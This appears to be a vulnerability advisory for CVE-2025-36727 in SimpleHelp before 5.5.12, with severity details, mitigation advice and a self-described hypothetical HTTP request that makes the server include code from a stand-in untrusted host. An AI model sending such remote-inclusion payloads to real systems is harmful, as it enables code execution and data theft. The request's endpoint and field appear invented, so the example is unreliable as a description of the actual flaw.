Overview
CVE-2025-36727 is a significant cybersecurity vulnerability that impacts the Simplehelp software versions prior to 5.5.12. This Inclusion of Functionality from Untrusted Control Sphere vulnerability has been found to potentially compromise the system or lead to data leakage. The issue lies in the software’s failure to adequately verify the origin and integrity of included functionality, allowing potentially malicious inputs from untrusted sources. This kind of vulnerability is particularly concerning due to its wide-ranging impact, affecting all users of the Simplehelp software, which is widely used for remote IT support.
Vulnerability Summary
CVE ID: CVE-2025-36727
Severity: High (CVSS: 8.3)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Simplehelp | Before 5.5.12
How the Exploit Works
The vulnerability exists due to a flawed design in the Simplehelp software that allows the inclusion of functionality from untrusted control spheres. This means that an attacker could potentially manipulate the software by including malicious code or functionality from an unverified source. This could be executed through a network-based attack, requiring user interaction, such as clicking on a phishing link or downloading a malicious file. Once the malicious functionality is included, it could lead to system compromise or data leakage.
Conceptual Example Code
The following is a hypothetical example of how the vulnerability might be exploited, represented in pseudocode:
POST /simplehelp/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_functionality": "http://untrusted_source.com/malicious_code" }In this scenario, a malicious actor could craft a JSON payload instructing the Simplehelp software to include functionality from an untrusted source (`http://untrusted_source.com/malicious_code`). Once included, this malicious code executes within the context of the application, potentially compromising the system or leaking data.
Mitigation Guidance
To prevent exploitation of this vulnerability, users of the affected Simplehelp software versions should apply the vendor-provided patch immediately. An upgrade to version 5.5.12 or later is recommended. As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be employed to detect and block attempts to exploit this vulnerability. However, these are not long-term solutions and can only serve as an additional layer of security while the patch is being applied.